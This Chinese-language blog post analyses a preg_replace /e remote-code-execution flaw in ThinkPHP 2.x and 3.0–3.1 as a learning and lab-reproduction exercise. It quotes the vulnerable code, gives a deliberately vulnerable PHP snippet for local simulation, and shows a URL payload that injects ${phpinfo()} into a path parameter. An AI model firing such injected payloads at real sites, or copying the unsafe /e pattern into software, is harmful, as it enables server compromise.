文章目录
闲扯
学习代码执行的审计时,遇到了双引号的一些迷惑,搜资料的时候发现了这个漏洞,顺便分析复现一哈。
影响版本
2.x、3.0-3.1
原理分析
关键代码:
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
总体意思就是用explode函数把url拆开,然后再用implode函数拼接起来,然后带入preg_replace里面。
我们知道,preg_replace的/e模式,和php双引号都能导致代码执行的。
不懂的可以看这个ctf题目:题目
那句正则简化后就是/(\w+)\/([^\/\/]+)/e
,解释一下,\w+表示匹配任意长的[字母数字下划线]字符串,然后匹配 / 符号,再匹配除了 / 符号以外的字符。
就是意思匹配连续的两个参数。
假如url是这样 : www.dawn.com/index.php?s=1/2/3/4/5/6
也就是每次匹配 1和2 、 3和4 、 5和6。
然后\\1
是取第一个括号里的匹配结果,\\2
是取第二个括号里的匹配结果,也就是\\1
取的是 1 3 5,\\2
取的是 2 4 6。
那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。
而双引号是存在在 \\2
外面的,那么就说明我们要控制的是偶数位的参数。
漏洞复现
方法1:本机搭建下载地址:http://www.thinkphp.cn/extend/219.html
方法2:vulhub里面也有,直接docker启动。(我fq了,不然一直总有一丢丢下不下来)
方法3:也可以自己用这段代码,自己模拟:
<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>
本地模拟:
docker搭建:
直接输入payload:
127.0.0.1:8080/indexphp?s=1/2/3/${phpinfo()}/5/6
只要payload不在第二位就行,因为前两位在处理的时候被删了。